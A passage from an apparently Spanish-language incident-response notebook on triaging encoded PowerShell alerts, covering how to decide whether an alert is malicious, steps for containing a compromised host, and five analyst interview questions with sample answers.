- Extrae el log de Script Block 4104. A menudo te entrega el script desofuscado y confirma tu decodificación.
- Caracteriza la intención decodificada: download cradle, acceso a credenciales, persistencia, reconocimiento.
Deciding
- Malicious: mal padre, contenido de cradle o acceso a credenciales, indicadores malos, consecuencias reales de post-ejecución.
- Benign admin: padre de agente de gestión o shell de administrador, contenido mapeado a una tarea documentada.
- Benign software: instalador o padre de proveedor, contenido de configuración benigno, muchos hosts coincidiendo con un despliegue.
- Encoded no significa malvado y signed no significa seguro. El contenido decodificado más el linaje deciden.
If Malicious
- Aísla el host para detener el beaconing y el movimiento lateral.
- Preserva primero: árbol de procesos, logs de Script Block, memoria, artefactos desplegados, antes de la limpieza.
- Sigue la descarga: identifica el segundo escenario y trata sus capacidades como presentes.
- Bloquea los indicadores (dominios, IPs, hashes), elimina la persistencia, reinicia las credenciales expuestas.
- Reimage si es un compromiso in-memory confirmado donde el estado limpio no puede probarse.
ALWAYS: Decode, never execute. Ejecutarlo para leerlo le entrega al atacante su ejecución. Pon el comando decodificado verbatim en tus notas y tu escalación.
Bonus - How This Shows Up In Your Interview
Yo realizo entrevistas técnicas para roles de analista e ingeniería, y PowerShell es donde separo a los analistas que leen ataques de los analistas que hacen pattern matching. Cinco preguntas en la forma exacta en que las hago, con lo que una respuesta sólida cubre. Cada respuesta es una sección de este cuaderno dicha en voz alta.
Interview Questions
Question 1: Recibes una alerta de un comando de PowerShell codificado. ¿Cuál es tu primer movimiento?
Dos cosas, y el orden importa: lee el proceso padre y decodifica el bloque de forma segura. Los candidatos fuertes dicen explícitamente que decodifican con una herramienta, no ejecutándolo. Los candidatos débiles o escalan por la palabra encoded sola o, peor aún, dicen que lo ejecutarían para ver qué hace.
Question 2: ¿Por qué es tan popular PowerShell con los atacantes?
Es confiable, está firmado y está presente en cada host Windows, ejecuta código en memoria para ataques fileless y sirve de puente para el robo de credenciales, el movimiento lateral y la persistencia. La frase living off the land y una mención del bypass de la lista de permitidos de aplicaciones me dicen que entiendes el porqué, no solo el qué.
Question 3: El comando está codificado en base64. ¿Cómo lo lees y cuál es el riesgo si lo haces mal?
Decodifica base64 como UTF-16LE en un decodificador o sandbox, pela cualquier capa adicional como gzip. El riesgo si se hace mal es ejecutar el comando del atacante tú mismo al pegar el comando en una shell activa para ver el resultado. Los candidatos que mencionan este riesgo sin que se les pregunte han sido quemados o bien entrenados.
Question 4: ¿Qué único log desearías tener habilitado para estás investigaciones?
Script Block Logging, evento 4104, porque registra el contenido del script desofuscado que el motor realmente ejecutó. Bonus por añadir que el árbol de procesos del EDR te da el linaje y que quieres ambos. Está pregunta prueba silenciosamente si han hecho el trabajo o si solo han leído sobre ello.
Question 5: Confirmas que es malicioso y el host está realizando beaconing. Camina por la contención.
Aísla el host primero para detener la hemorragia, preserva el árbol de procesos y los logs de Script Block y la memoria antes de la limpieza, bloquea los indicadores, elimina la persistencia, reinicia las credenciales expuestas y reimage si fue un compromiso in-memory. Los candidatos que preservan antes de remediar y que aíslan antes de investigar más a fondo están pensando como respondedores.
Ese es el cuaderno, amigos. Decodifica antes de juzgar, revisa el proceso padre y nunca lo ejecutes para leerlo. Con esos tres reflejos, las alertas de PowerShell dejarán de dar miedo y empezarán a ser legibles. Otros volúmenes en está serie cubren las otras alertas que vivirás en tu turno.